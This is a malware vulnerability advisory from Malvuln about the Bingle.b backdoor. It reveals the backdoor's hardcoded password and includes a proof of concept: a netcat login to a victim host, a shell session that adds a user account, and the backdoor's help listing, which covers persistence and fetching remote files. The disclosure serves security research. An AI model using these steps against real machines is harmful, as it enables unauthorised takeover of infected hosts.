Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/eacaa12336f50f1c395663fba92a4d32.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bingle.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed using ASPack 2.11, listens on TCP port 22 and requires authentication. However, the password "let me in" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Bingle
Type: PE32
MD5: eacaa12336f50f1c395663fba92a4d32
Vuln ID: MVID-2022-0643 
Disclosure: 09/24/2022

004029A0                 call    sub_4010E0
004029A5                 add     esp, 0Ch
004029A8                 cmp     eax, ebp
004029AA                 jge     short loc_4029CC
004029AC                 mov     edi, [esp+eax*4+230h+var_21C]
004029B0                 mov     ecx, ebx
004029B2                 xor     eax, eax
004029B4                 repne scasb
004029B6                 not     ecx
004029B8                 sub     edi, ecx
004029BA                 mov     edx, ecx
004029BC                 mov     esi, edi
004029BE                 mov     edi, offset aLetMeIn ; "let me in"


Exploit/PoC:
C:\>nc64.exe x.x.x.x 22
let me in

 Nt Shell 1.0 beta by bingle@email.com.cn
        Indicator '#' is NTShell Server output.
        Type ?help for support commands beyond cmd;
        ?use at command line for support parameters.

        Use 'net helpmsg xxx' to see detail message of Error Code.

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user hyp3rlinx 1313 /add
net user hyp3rlinx 1313 /add
The command completed successfully.

C:\Users\Victim\Desktop>?help
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
                 [file] default is ntshell.exe
#?canceldata            --- abort the previous file transfer command
#?chdir <dir>           --- change the server current dir to <dir>,
                 can be UNC(share) name
#?get <file> [port]     --- GET <file> from server, server use [port] to tranfer
#?help                  --- show this HELP
#?httpget <url> <file>  --- get the 'file' from 'url',
                eg:httpget http://192.168.0.1 /hackdir/hackprog.exe
#?pskill PID            --- Kill the Process with PID
#?pslist                --- List the all process in system
#?put <file> [port]     --- PUT <file> to server, server use [port] to tranfer
#?quit                  --- QUIT the telnetd program
#?restart [<user> [pass]]       --- restart the shell as [user] in stead of
                IUSR_computer if [user] specified, no need to reconnect
#?sysinfor              --- Get the System os information


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